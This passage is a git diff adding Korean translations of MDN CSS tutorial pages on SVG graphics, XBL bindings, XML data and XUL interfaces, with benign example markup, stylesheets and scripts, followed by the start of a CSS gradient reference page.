움직이지 않는 이미지(static image)를 위해 사용될 수 있으며, 또한 애니메이션 과 사용자 인터페이스를 위해서도 사용될 수 있습니다.

+

다른 XML-기반 언어들과 같이, SVG는 CSS 스타일 시트를 지원하여 그래픽에 사용되는 스타일을 그래픽의 내용물과 분리시킬 수 있게 합니다.

+

또한, 다른 문서 마크업 언어들과 함께 사용되는 스타일 시트들도 이미지가 요구되는 곳에 SVG 그래픽의 URL을 지정할 수 있습니다. 예를들면, HTML 문서와 함께 사용하는 스타일 시트에서 background 속성 값에 SVG값의 URL을 지정할 수 있습니다.

+ + + + + + + +
+ More details
이글을 쓰는 시점에서(2005년 중반), 모질라 브라우저의 몇몇 최근 빌드만이 SVG 지원을 내장하고 있었습니다. +

Adobe에서 제공되는 것 같은 플럭인(plugin)을 인스톨하면 다른 버전에서도 SVG 지원을 추가할 수 있습니다.

+

모질라에서의 SVG에 관한 더많은 정보를 원하시면, 이 위키안의 SVG 페이지를 보세요.

+
+

액션: SVG 예제

+

새로운 SVG 문서를 텍스트 파일 doc8.svg로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
<?xml version="1.0" standalone="no"?>
+
+<?xml-stylesheet type="text/css" href="style8.css"?>
+
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg width="600px" height="600px" viewBox="-300 -300 600 600"
+  xmlns="http://www.w3.org/2000/svg" version="1.1"
+  xmlns:xlink="http://www.w3.org/1999/xlink">
+
+<title>SVG demonstration</title>
+<desc>Mozilla CSS Getting Started - SVG demonstration</desc>
+
+<defs>
+  <g id="segment" class="segment">
+    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
+    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
+    </g>
+  <g id="quadrant">
+    <use xlink:href="#segment"/>
+    <use xlink:href="#segment" transform="rotate(18)"/>
+    <use xlink:href="#segment" transform="rotate(36)"/>
+    <use xlink:href="#segment" transform="rotate(54)"/>
+    <use xlink:href="#segment" transform="rotate(72)"/>
+    </g>
+  <g id="petals">
+    <use xlink:href="#quadrant"/>
+    <use xlink:href="#quadrant" transform="rotate(90)"/>
+    <use xlink:href="#quadrant" transform="rotate(180)"/>
+    <use xlink:href="#quadrant" transform="rotate(270)"/>
+    </g>
+  <radialGradient id="fade" cx="0" cy="0" r="200"
+      gradientUnits="userSpaceOnUse">
+    <stop id="fade-stop-1" offset="33%"/>
+    <stop id="fade-stop-2" offset="95%"/>
+    </radialGradient>
+  </defs>
+
+<text id="heading" x="-280" y="-270">
+  SVG demonstration</text>
+<text  id="caption" x="-280" y="-250">
+  Move your mouse pointer over the flower.</text>
+
+<g id="flower">
+  <circle id="overlay" cx="0" cy="0" r="200"
+    stroke="none" fill="url(#fade)"/>
+  <use id="outer-petals" xlink:href="#petals"/>
+  <use id="inner-petals" xlink:href="#petals"
+    transform="rotate(9) scale(0.33)"/>
+  </g>
+
+</svg>
+
+
+

새로운 CSS 문서를 텍스트 파일 style8.css로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
/*** SVG demonstration ***/
+
+/* page */
+svg {
+  background-color: beige;
+  }
+
+#heading {
+  font-size: 24px;
+  font-weight: bold;
+  }
+
+#caption {
+  font-size: 12px;
+  }
+
+/* flower */
+#flower:hover {
+  cursor: crosshair;
+  }
+
+/* gradient */
+#fade-stop-1 {
+  stop-color: blue;
+  }
+
+#fade-stop-2 {
+  stop-color: white;
+  }
+
+/* outer petals */
+#outer-petals {
+  opacity: .75;
+  }
+
+#outer-petals .segment-fill {
+  fill: azure;
+  stroke: lightsteelblue;
+  stroke-width: 1;
+  }
+
+#outer-petals .segment-edge {
+  fill: none;
+  stroke: deepskyblue;
+  stroke-width: 3;
+  }
+
+#outer-petals .segment:hover > .segment-fill {
+  fill: plum;
+  stroke: none;
+  }
+
+#outer-petals .segment:hover > .segment-edge {
+  stroke: slateblue;
+  }
+
+/* inner petals */
+#inner-petals .segment-fill {
+  fill: yellow;
+  stroke: yellowgreen;
+  stroke-width: 1;
+  }
+
+#inner-petals .segment-edge {
+  fill: none;
+  stroke: yellowgreen;
+  stroke-width: 9;
+  }
+
+#inner-petals .segment:hover > .segment-fill {
+  fill: darkseagreen;
+  stroke: none;
+  }
+
+#inner-petals .segment:hover > .segment-edge {
+  stroke: green;
+  }
+
+
+

문서를 SVG 기능이 있는(SVG-enabled) 브라우저에서 여세요. 마우스 포인터(mouse pointer)를 그래픽위로 움직여 보세요.

+

이 위키페이지는 SVG를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 다음과 같이 보입니다:

+ + + + + + +
SVG demonstration
+

이 예제에서 주의할 점:

+
    +
  • SVG 문서는 전처럼 스타일 시트에 링크되어 있습니다.
  • +
  • SVG는 그 자신만의 CSS 스타일 시트와 값을 가지고 있습니다. 이들중 몇가지는 HTML을 위한 CSS의 속성과 비슷합니다.
  • +
+ + + + + + + +
+ Challenge
스타일 시트를 변경해서, 마우스 포인터가 안쪽 꽃잎들 중 한개 위에 오게 되면, 바깥 쪽 꽃잎이 작동하는 방식은 바뀌지 않은채 모든 안쪽꽃잎 색이 핑크(pink)색으로 변하게 하세요
+

그럼 다음은?

+

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page.

+

이 예제에서 SVG 기능이 있는(SVG enabled) 브라우저는 이미 SVG 엘리먼트를 디스플레이하는 방법을 알고 있습니다. 스타일 시트는 단지 그 디스플레이를 특정 방식으로 수정할 뿐 입니다. 그러나 디스플레이하는 방식이 미리 지정되어 있지 않은 범용(general-purpose) XML 문서를 위해서 CSS를 사용할 수있습니다. 다음 페이지에서는 이를 실행해 봅니다: XML data

+

{{ languages( { "fr": "fr/CSS/Premiers_pas/Graphiques_SVG", "pl": "pl/CSS/Na_pocz\u0105tek/Grafika_SVG" } ) }}

diff --git a/files/ko/web/css/getting_started/xbl_bindings/index.html b/files/ko/web/css/getting_started/xbl_bindings/index.html new file mode 100644 index 0000000000..6799095812 --- /dev/null +++ b/files/ko/web/css/getting_started/xbl_bindings/index.html @@ -0,0 +1,198 @@ +--- +title: XBL bindings +slug: Web/CSS/Getting_Started/XBL_bindings +tags: + - 'CSS:Getting_Started' +translation_of: Archive/Beginner_tutorials/Using_XBL_from_stylesheets +--- +

이 페이지는 모질라에서 CSS를 사용하여 복잡한 애플리케이션의 구조를 향상시켜 코드와 자원(resources)을 보다 쉽게 재사용(recycle)할 수 있게 만드는 방법을 설명합니다.

+

이 테크닉을 간단한 예제에 적용시켜 봅니다.

+

정보: XBL 바인딩(bindings)

+

마크업 언어와 CSS에서 제공되는 구조(structure)는 각 부분이 독립적이고(self-contained) 재 사용되어야 하는 복잡한 애플리케이션에 이상적이라고는 할 수 없습니다. 스타일 시트들을 다른 파일들에 저장할 수 있고, 스크립트들도 다른 파일들에 저장 해 놓을 수 있으나, 문서에서 이들 파일들을 하나의 전체로서 링크해야만 합니다.

+

또 다른 구조적 제한사항은 내용물에 관한 것입니다. CSS를 사용하여 선택된 엘리먼트들에 내용물을 제공해 줄 수 있으나, 내용물은 텍스트와 이미지에 한정되어 있으며, 그 위치지정은(positioning) 선택된 엘리먼트의 앞 또는 뒤로 한정되어 있습니다.

+

모질라는 이러한 제한 사항들을 극복할 미케니즘을 제공합니다: + + XBL + (XML 바인딩 언어, XML Binding Language)가 바로 그것입니다. XBL을 사용해서 선택된 엘리먼트를 다음의 것들과 링크시킬 수 있습니다:

+
    +
  • 에리먼트의 스타일 시트
  • +
  • 엘리먼트의 내용물
  • +
  • 엘리먼트의 속성(property)과 메소드(method)
  • +
  • 엘리먼트의 이벤트 핸들러(event hadler)
  • +
+

문서 레벨에서 모든것을 링크시키는 것을 피할 수 있기 때문에, 유지와 재사용이 쉬운 독립적인 부분들을 만들어 낼 수 있습니다.

+ + + + + + + +
+ More details
XBL 바인딩에 대한 더 많은 정보를 원하시면, 이 위키의 XBL 페이지를 보세요.
+

액션: XBL 예제

+

새로운 HTML 문서 doc6.html를 만드세요. 아래의 내용물을 복사해서 붙여넣으세요.

+
+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+
+<HEAD>
+<TITLE>Mozilla CSS Getting Started - XBL demonstration</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style6.css"></strong>
+</HEAD>
+
+<BODY>
+<H1>XBL demonstration</H1>
+<DIV id="square">Click Me</DIV>
+</BODY>
+
+</HTML>
+
+
+

새로운 CSS 파일 style6.css을 만드세요. 이 스타일 시트는 문서 스타일을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣으세요.

+
+
/*** XBL demonstration ***/
+#square {
+  -moz-binding: url("square.xbl#square");
+  }
+
+
+

새로운 텍스트 파일 square.xbl을 만드세요. 이 스타일 시트는 XBL 바인딩(binding)을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+

 

+
+
<?xml version="1.0"?>
+<!DOCTYPE bindings>
+<bindings xmlns="http://www.mozilla.org/xbl">
+
+<binding id="square">
+
+  <resources>
+    <stylesheet src="bind6.css"/>
+    </resources>
+
+  <content xmlns="http://www.w3.org/1999/xhtml">
+    <div anonid="square"/>
+    <button anonid="button" type="button">
+      <xbl:children/>
+      </button>
+    </content>
+
+  <implementation>
+
+    <field name="square"><![CDATA[
+      document.getAnonymousElementByAttribute(this, "anonid", "square")
+      ]]></field>
+
+    <field name="button"><![CDATA[
+      document.getAnonymousElementByAttribute(this, "anonid", "button")
+      ]]></field>
+
+    <method name="doDemo">
+      <body><![CDATA[
+        this.square.style.backgroundColor = "#cf4"
+        this.square.style.marginLeft = "20em"
+        this.button.setAttribute("disabled", "true")
+        setTimeout(this.clearDemo, 2000, this)
+        ]]></body>
+      </method>
+
+    <method name="clearDemo">
+      <parameter name="me"/>
+      <body><![CDATA[
+        me.square.style.backgroundColor = "transparent"
+        me.square.style.marginLeft = "0"
+        me.button.removeAttribute("disabled")
+        ]]></body>
+      </method>
+
+    </implementation>
+
+  <handlers>
+    <handler event="click" button="0"><![CDATA[
+     if (event.originalTarget == this.button) this.doDemo()
+     ]]></handler>
+    </handlers>
+
+  </binding>
+
+</bindings>
+
+
+

새로운 CSS 파일 bind6.css을 만드세요. 이 새 스타일 시트는 바인딩에대한 스타일(style for the binding)을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣으세요.

+
+
/*** XBL demonstration ***/
+[anonid="square"] {
+  width: 20em;
+  height: 20em;
+  border: 2px inset gray;
+  }
+
+[anonid="button"] {
+  margin-top: 1em;
+  padding: .5em 2em;"
+  }
+
+
+

브라우저에서 문서을 열고 버튼을 누르세요.

+

이 위키페이지는 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 버튼을 누른 전과 후가 대략 다음과 같이 보입니다:

+ + + + + + + +
+ + + + + + +
+

XBL demonstration

+
+
+  
+
+
+
+ + + + + + +
+

XBL demonstration

+
+
+  
+
+
+
+

이 예제에서 주의할 점:

+
    +
  • HTML 문서는 전처럼 문서의 스타일 시트에 링크되어 있습니다. 그러나 어떤 자바스크립트 코드에도 링크되어 있지 않습니다.
  • +
  • 문서는 아무 버튼도 포함하고 있지 않습니다. 문서는 버튼 레이블(label)의 텍스트만을 포함하고 있습니다. 버튼은 바인딩(binding)에 의해서 더해집니다.
  • +
  • 문서 스타일 시트는 바인딩(binding)에 링크되어 있습니다.
  • +
  • 바인딩(binding)은 그 자신의 스타일에 링크되어 있고, 그 자신의 내용물과 자바스크립트 코드를 지원합니다. 따라서, 바인딩은 독립적으로(self-contained) 되어있습니다.
  • +
+ + + + + + + +
+ Challenges
XBL 파일을 수정해서 사각형(square)이 색이 바뀔 때 오른쪽으로 점핑하는 대신 폭이(width) 2배가 되도록 하세요. +

DOM Inspector tool을 사용하여 문서를 조사해서 추가된 내용물을 확인해 보세요.

+
+

그럼 다음은?

+

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page.

+

이 문서에서, 사각형(square)과 버튼은 독립적인 HTML 문서내에서 작동하는 + + 위젯(widget) + 이 되었습니다. 모질라는 사용자 인터페이스를 만들어내는 데 특별한 마크업 언어를 가지고 있습니다. 다음 페이지에서는 이것을 실행해 봅니다: XUL user interfaces

+

{{ languages( { "fr": "fr/CSS/Premiers_pas/Liaisons_XBL", "pl": "pl/CSS/Na_pocz\u0105tek/Wi\u0105zania_XBL" } ) }}

diff --git a/files/ko/web/css/getting_started/xml_data/index.html b/files/ko/web/css/getting_started/xml_data/index.html new file mode 100644 index 0000000000..fc674a29e4 --- /dev/null +++ b/files/ko/web/css/getting_started/xml_data/index.html @@ -0,0 +1,186 @@ +--- +title: XML data +slug: Web/CSS/Getting_Started/XML_data +tags: + - 'CSS:Getting_Started' +translation_of: Archive/Beginner_tutorials/XML_data +--- +

이 페이지는 XML 데이터와 함께 CSS를 사용할 수 있는 방법에 대한 예제들을 담고 있습니다. +

샘플 XML 문서와 이 문서를 브라우저에 디스플레이할 때 사용할 수 있는 스타일 시트를 만듭니다. +

+

정보: XML 데이터

+

XML(확장 마크업 언어, eXtensible Markup Lanugage)는 모든 종류의 구조화 된 데이터를 위한 범용(general-purpose) 언어입니다. +

디폴트로, 모질라 브라우저는 XML을 XML파일의 원래 데이터와 매우 유사한 포맷으로 디스플레이합니다. +데이터의 구조를 정의하는 실제 택들을 볼 수 있습니다. +

CSS 스타일 시트를 XML 문서와 링크함으로써, 이를 디스플레이하는 다른 방식을 정의할 수 있습니다. +이를 위해, 스타일 시트는 XML 문서의 택들과 HTML에 의해 사용되는 디스플레이 유형들(types)에 매핑(map)시키는 규칙들을 사용합니다. +

+ + +
Example +
XML 문서의 데이터는 html:input 택들을 사용합니다. 문서의 INFO 엘리먼트들이 HTML 단락처럼 디스플레이 되기 원한다고 가정합시다. +

문서의 스타일 시트에 INFO엘리먼트가 어떻게 디스플레이 될 것인지 지정합니다: +

+
+
INFO {
+  display: block;
+  margin: 1em 0;
+  }
+
+
+
+

가장 흔한 display 속성 값은 다음과 같습니다: +

+ + + + +
blockHTML의 DIV처럼 나타남 (머리글, 문단 등) +
inlineHTML의 SPAN처럼 나타남 (문서의 강조) +
+

HTML에서와 같은 방식으로 폰트, 스페이싱(spacing) 그리고 다른 세부사항들을 지정하는 자기 자신의 스타일 규칙을 더하세요. +

+ + +
More details +
display의 다른 값들은 그 엘리먼트를 리스트 아이템 처럼 , 또는 표의 컴포넌트(component) 처럼 디스플레이 합니다. +

디스플레이 유형들(types)의 완전한 리스트를 원하시면, CSS 규약의 The display property을 보세요. +

CSS 만을 사용하면, 디스플레이의 구조가 문서의 구조와 똑 같을 것입니다. +다른 기술을 사용해서 디스플레이 구조를 수정할 수 있습니다 — 예를 들면, XBL로 내용물을 더할 수 있으며 자바스크립트로 DOM을 수정할 수 있습니다. +

모질라에서의 XML에 관해서 더 많은 정보를 원하시면, 이 위키의 XML 페이지를 보세요. +

+
+

액션: XML 예제

+

새로운 XML 문서를 텍스트 파일 doc9.xml로 만드세요. +아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요: +

+
<?xml version="1.0"?>
+<!-- XML demonstration -->
+
+<?xml-stylesheet type="text/css" href="style9.css"?>
+
+<!DOCTYPE planet>
+<planet>
+
+<ocean>
+<name>Arctic</name>
+<area>13,000</area>
+<depth>1,200</depth>
+</ocean>
+
+<ocean>
+<name>Atlantic</name>
+<area>87,000</area>
+<depth>3,900</depth>
+</ocean>
+
+<ocean>
+<name>Pacific</name>
+<area>180,000</area>
+<depth>4,000</depth>
+</ocean>
+
+<ocean>
+<name>Indian</name>
+<area>75,000</area>
+<depth>3,900</depth>
+</ocean>
+
+<ocean>
+<name>Southern</name>
+<area>20,000</area>
+<depth>4,500</depth>
+</ocean>
+
+</planet>
+
+

새로운 CSS 문서를 텍스트 파일 style9.css로 만드세요. +아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요: +

+
/*** XML demonstration ***/
+
+planet:before {
+  display: block;
+  width: 8em;
+  font-weight: bold;
+  font-size: 200%;
+  content: "Oceans";
+  margin: -.75em 0px .25em -.25em;
+  padding: .1em .25em;
+  background-color: #cdf;
+  }
+
+planet {
+  display: block;
+  margin: 2em 1em;
+  border: 4px solid #cdf;
+  padding: 0px 1em;
+  background-color: white;
+  }
+
+ocean {
+  display: block;
+  margin-bottom: 1em;
+  }
+
+name {
+  display: block;
+  font-weight: bold;
+  font-size: 150%;
+  }
+
+area {
+  display: block;
+  }
+
+area:before {
+  content: "Area: ";
+  }
+
+area:after {
+  content: " million km\B2";
+  }
+
+depth {
+  display: block;
+  }
+
+depth:before {
+  content: "Mean depth: ";
+  }
+
+depth:after {
+  content: " m";
+  }
+
+

브라우저에서 문서를 여세요: +

+ + +
+

Oceans

+

Arctic
+Area: 13,000 million km²
+Mean depth: 1,200 m

+

Atlantic
+Area: 87,000 million km²
+Mean depth: 3,900 m

+

. . .

+
+
+

이 예제에서 주의할 점: +

+
  • 수퍼스크립트(superscript) 2 ("million km²" 에 있는)는 CSS파일에 \B2로 코딩되어있는 유니코드(Unicode) 문자입니다. +
  • 헤딩(heading) "Oceans"는 음수인 상단 마진(negative top margin)을 갖고 있어 보더의 상단에 디스플레이 되도록 위쪽으로 이동 됩니다. +
+ + +
Challenge +
스타일 시트를 변경해서 문서를 표로 디스플레이하게 하세요. +

(수정할 예문들을 원하시면, CSS 규약의 Tables 챕터를 보세요.)

+
+

그럼 다음은

+

이 페이지를 이해하기 어렵거나 다른 코멘트가 있다면 Discussion에 기여하세요. +

이 페이지는 입문서의 마지막 페이지입니다. +모질라에서의 CSS에 관한 더 많은 정보를 원하시면, 이 위키의 CSS 메인 페이지(main page)를 보세요. +

{{ languages( { "en": "en/CSS/Getting_Started/XML_data", "fr": "fr/CSS/Premiers_pas/Donn\u00e9es_XML", "pl": "pl/CSS/Na_pocz\u0105tek/Dane_XML", "pt": "pt/CSS/Como_come\u00e7ar/Dados_XML" } ) }} diff --git a/files/ko/web/css/getting_started/xul_user_interfaces/index.html b/files/ko/web/css/getting_started/xul_user_interfaces/index.html new file mode 100644 index 0000000000..cd08f23579 --- /dev/null +++ b/files/ko/web/css/getting_started/xul_user_interfaces/index.html @@ -0,0 +1,315 @@ +--- +title: XUL user interfaces +slug: Web/CSS/Getting_Started/XUL_user_interfaces +tags: + - 'CSS:Getting_Started' +translation_of: Archive/Beginner_tutorials/XUL_user_interfaces +--- +

이 페이지는 사용자 인터페이스를 만드는 모질라의 특별한 언어를 설명합니다.

+

모질라 브라우저에서 작동하는 간단한 예제를 만들어봅니다.

+

정보: 사용자 인터페이스

+

HTML가 사용자 인터페이스에 대한 지원를 하고 있으나, 하나의 독립적인 애플리케이션을 만드는데 필요한 모든 기능을 지원하고 있지는 못합니다.

+

모질라는 사용자 인터페이스를 만드는 특별한 언어를 제공함으로써 이런 제한사항을 극복하고 있습니다: 이 언어가 바로 + + XUL + 입니다. (XML 사용자-인터페이스 언어(XML User-interface Language)로서 보통 " + + 줄(zool) + "라고 읽습니다.)

+

XUL에는 많은 흔히사용되는 사용자 인터페이스가 내장되어 있습니다. 예를 들면, XUL은 대화창(dialogue), 위저드(wizard) 같은 특별한 윈도우들 뿐만아니라 상태 바(status bar), 메뉴, 툴 바(tool bar), 그리고 브라우저까지 제공합니다.

+

더 많은 특화된 기능들은 이 입문서에서 보아 온 다른 기술들(CSS 스타일, 자바스크립트 코드 그리고 XBL 바인딩)과 함께 XUL을 사용함으로써 만들어 낼 수 있습니다.

+

다른 XML-기반 언어들과 같이, XUL은 CSS 스타일 시트를 사용합니다.

+ + + + + + + +
+ More details
XUL 사용자 인터페이스에 관한 더 많은 정보를 원하시면, 이 위키의 XUL 페이지를 보세요.
+

액션: XUL 예제

+

새로운 XUL 문서를 텍스트 파일 doc7.xul로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
<?xml version="1.0"?>
+<?xml-stylesheet type="text/css" href="style7.css"?>
+<!DOCTYPE window>
+
+<window
+  xmlns="http&58;//www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+  title="CSS Getting Started - XUL demonstration"
+  onload="init();">
+
+<script type="application/x-javascript" src="script7.js"/>
+
+<label class="head-1" value="XUL demonstration"/>
+
+<vbox>
+
+  <groupbox class="demo-group">
+    <caption label="Day of week calculator"/>
+    <grid>
+      <columns>
+        <column/>
+        <column/>
+        </columns>
+      <rows>
+        <row>
+          <label class="text-prompt" value="Date:"
+            accesskey="D" control="date-text"/>
+          <textbox id="date-text" type="timed"
+            timeout="750" oncommand="refresh();"/>
+          </row>
+        <row>
+          <label value="Day:"/>
+          <hbox id="day-box">
+            <label class="day" value="Sunday" disabled="true"/>
+            <label class="day" value="Monday" disabled="true"/>
+            <label class="day" value="Tuesday" disabled="true"/>
+            <label class="day" value="Wednesday" disabled="true"/>
+            <label class="day" value="Thursday" disabled="true"/>
+            <label class="day" value="Friday" disabled="true"/>
+            <label class="day" value="Saturday" disabled="true"/>
+            </hbox>
+          </row>
+        </rows>
+      </grid>
+    <hbox class="buttons">
+      <button id="clear" label="Clear" accesskey="C"
+        oncommand="clearDate();"/>
+      <button id="today" label="Today" accesskey="T"
+        oncommand="setToday();"/>
+      </hbox>
+    </groupbox>
+
+  <statusbar>
+    <statusbarpanel id="status"/>
+    </statusbar>
+
+</vbox>
+
+</window>
+
+
+

새로운 CSS 파일 style7.css을 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
/*** XUL demonstration ***/
+window {
+  -moz-box-align: start;
+  background-color: -moz-dialog;
+  font: -moz-dialog;
+  padding: 2em;
+  }
+
+.head-1 {
+  font-weight: bold;
+  font-size: 200%;
+  padding-left: 5px;
+  }
+
+
+/* the group box */
+.demo-group {
+  padding: 1em;
+  }
+
+.demo-group grid {
+  margin-bottom: 1em;
+  }
+
+.demo-group column {
+  margin-right: .5em;
+  }
+
+.demo-group row {
+  margin-bottom: .5em;
+  }
+
+.demo-group .buttons {
+  -moz-box-pack: end;
+  }
+
+
+/* the day-of-week labels */
+.day {
+  margin-left: 1em;
+  }
+
+.day[disabled] {
+  color: #777;
+  }
+
+.day:first-child {
+  margin-left: 4px;
+  }
+
+
+/* the left column labels */
+.text-prompt {
+  padding-top: .25em;
+  }
+
+
+/* the date input box */
+#date-text {
+  max-width: 8em;
+  }
+
+
+/* the status bar */
+statusbar {
+  width: 100%;
+  border: 1px inset -moz-dialog;
+  margin: 4px;
+  padding: 0px 4px;
+  }
+
+#status {
+  padding: 4px;
+  }
+
+#status[warning] {
+  color: red;
+  }
+
+
+

새로운 텍스트 파일 script7.js을 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
// XUL demonstration
+
+var dateBox, dayBox, currentDay, status; // elements
+
+// called by window onLoad
+function init() {
+  dateBox = document.getElementById("date-text")
+  dayBox = document.getElementById("day-box")
+  status = document.getElementById("status")
+  setToday();
+  }
+
+// called by Clear button
+function clearDate() {
+  dateBox.value = ""
+  refresh()
+  }
+
+// called by Today button
+function setToday() {
+  var d = new Date()
+  dateBox.value = (d.getMonth() + 1)
+    + "/" + d.getDate()
+    + "/" + d.getFullYear()
+  refresh()
+  }
+
+// called by Date textbox
+function refresh() {
+  var d = dateBox.value
+  var theDate = null
+
+  showStatus(null)
+  if (d != "") {
+    try {
+      var a = d.split("/")
+      var theDate = new Date(a[2], a[0] - 1, a[1])
+      showStatus(theDate)
+      }
+    catch (ex) {}
+    }
+  setDay(theDate)
+  }
+
+// internal
+function setDay(aDate) {
+  if (currentDay) currentDay.setAttribute("disabled", "true")
+  if (aDate == null) currentDay = null
+  else {
+    var d = aDate.getDay()
+    currentDay = dayBox.firstChild
+    while (d-- > 0) currentDay = currentDay.nextSibling
+    currentDay.removeAttribute("disabled")
+    }
+  dateBox.focus();
+  }
+
+function showStatus(aDate) {
+  if (aDate == null) {
+    status.removeAttribute("warning")
+    status.setAttribute("label", "")
+    }
+  else if (aDate === false || isNaN(aDate.getTime())) {
+    status.setAttribute("warning", "true")
+    status.setAttribute("label", "Date is not valid")
+    }
+  else {
+    status.removeAttribute("warning")
+    status.setAttribute("label", aDate.toLocaleDateString())
+    }
+  }
+
+
+

정확히 의도하신대로 결과를 보고 싶으시면, 브라우저의 디폴트 씸(default theme)을 사용하세요. 다른 씸(theme)을 사용하고 계시면, 씸이 몇가지 사용자 인터페이스 스타일을 변경해서 예제가 좀 이상하게 보일 수 도 있습니다.

+

브라우저에서 문서를 열고 인터페이스를 사용하세요.

+

이 위키페이지는 XUL과 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다.

+

다음과 같이 보입니다:

+ + + + + + +
+

XUL demonstration

+
+

Day of week calculator

+ + + + + + + + + + + + + + + +
Date:6/27/2005
Day:Sunday Monday Tuesday Wednesday Thurdsay Friday Saturday
  +
+

Clear Today

+
+
+
+
+

June 27, 2005

+
+
+

이 예제에서 주의할 점:

+
    +
  • XUL문서는 이전처럼 스타일 시트에 링크되어 있으며, 스크립트에도 링크되어 있습니다.
  • +
  • 스크립트는 이 예제에서 중요하지 않습니다.
  • +
  • 보게되는 대부분의 스타일은 브라우저의 씸(theme)에의해서 정해집니다.
  • +
+

문서의 스타일 시트를 잘 검토해서 그안의 모든 규칙들을 확실히 이해하도록 하세요. 이해하지 못하는 규칙이 있으면, 코멘트 아웃(comment out)한 다음 브라우저를 리프레쉬해서 문서에 나타나는 효과를 보도록 하세요.

+ + + + + + + +
+ Challenge
DOM 조사 도구(DOM Inspector tool)을 사용해서 Date textbox를 검사하세요. Date textbox는 XBL 바인딩으로 만들어진 다른 엘리먼트들로 이루어져 있습니다. +

html:input 엘리먼트의 + + 클래스 + 를 찾아내세요. 이 엘리먼트가 실질적으로 샤용자 입력을 받고 있습니다.

+

이 지식을 이용해서, 스타일 시트에 규칙을 하나 더해서 Date box가 키보드 포거스를 가지게 될때 배경색이 희미한 푸른색으로 되게 하세요.(그러나 키보드 포커스가 다른 데 있을 경우 힌색이 되게 하세요.)

+
+

그럼 다음은?

+

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page.

+

이 예제에서 대부분의 사용자 인터페이스에 공통적으로 사용되는 표준적인 사각형 도형들을 보았습니다. 모질라는 스타일을 지정하는 CSS스타일 시트를 이용하여 도형을 만들어내는 쓰는 특별한 그래픽 언어도 지원하고 있습니다. 다음 페이지에서는 이것을 실행해 봅니다: SVG graphics

+

{{ languages( { "fr": "fr/CSS/Premiers_pas/Interfaces_utilisateur_XUL", "pl": "pl/CSS/Na_pocz\u0105tek/XUL-owe_interfejsy_u\u017cytkownika" } ) }}

diff --git a/files/ko/web/css/gradient/index.html b/files/ko/web/css/gradient/index.html new file mode 100644 index 0000000000..aebfab76bf --- /dev/null +++ b/files/ko/web/css/gradient/index.html @@ -0,0 +1,160 @@ +--- +title: +slug: Web/CSS/gradient +tags: + - CSS + - CSS Data Type + - CSS Images + - Graphics + - Layout + - Reference + - 그라데이션 + - 그레이디언트 +translation_of: Web/CSS/gradient +--- +
{{CSSRef}}
+ +

<gradient> CSS 자료형은 {{cssxref("<image>")}}의 특별한 종류로 여러 색의 점진적인 변화를 나타냅니다.

+ +
{{EmbedInteractiveExample("pages/css/type-gradient.html")}}
+ + + +

CSS 그레이디언트는 원본 크기가 없습니다. 즉 실제 크기나 선호 크기가 없습니다. 그레이디언트의 크기는 적용하는 요소의 크기와 동일해집니다.

+ +

구문

+ +

그레이디언트 함수

+ +

<gradient> 자료형은 아래 나열한 함수 중 하나를 사용해 생성합니다.

+ +

선형 그레이디언트

+ +

가상의 선을 따라 여러 색 사이를 전이합니다. {{cssxref("linear-gradient()")}} 함수를 사용해 생성합니다.

+ + + +
.linear-gradient {
+  background: linear-gradient(to right,
+      red, orange, yellow, green, blue, indigo, violet);
+}
+ +

{{EmbedLiveSample('선형_그레이디언트', 240, 80)}}

+ +

원형 그레이디언트

+ +

중심점으로부터 바깥으로 여러 색 사이를 전이합니다. {{cssxref("radial-gradient()")}} 함수를 사용해 생성합니다.

+ + + +
.radial-gradient {
+  background: radial-gradient(red, yellow, rgb(30, 144, 255));
+}
+
+ +

{{EmbedLiveSample('원형_그레이디언트', 240, 80)}}

+ +

반복 그레이디언트

+ +

요소를 꽉 채울 때까지 그레이디언트를 필요한 만큼 반복합니다. {{cssxref("repeating-linear-gradient()")}}나 {{cssxref("repeating-radial-gradient()")}} 함수를 사용해 생성합니다.

+ + + +
.linear-repeat {
+  background: repeating-linear-gradient(to top left,
+      lightpink, lightpink 5px, white 5px, white 10px);
+}
+
+.radial-repeat {
+  background: repeating-radial-gradient(powderblue, powderblue 8px, white 8px, white 16px);
+}
+ +

{{EmbedLiveSample('반복_그레이디언트', 220, 180)}}

+ +

원뿔 그레이디언트

+ +

원을 따라 여러 색 사이를 전이합니다. {{cssxref("conic-gradient", "conic-gradient()")}} 함수를 사용해 생성합니다.

+ + + +
.conic-gradient {
+  background: conic-gradient(lightpink, white, powderblue);
+}
+
+ +

{{EmbedLiveSample('원뿔_그레이디언트', 240, 80)}}

+ +

보간

+ +

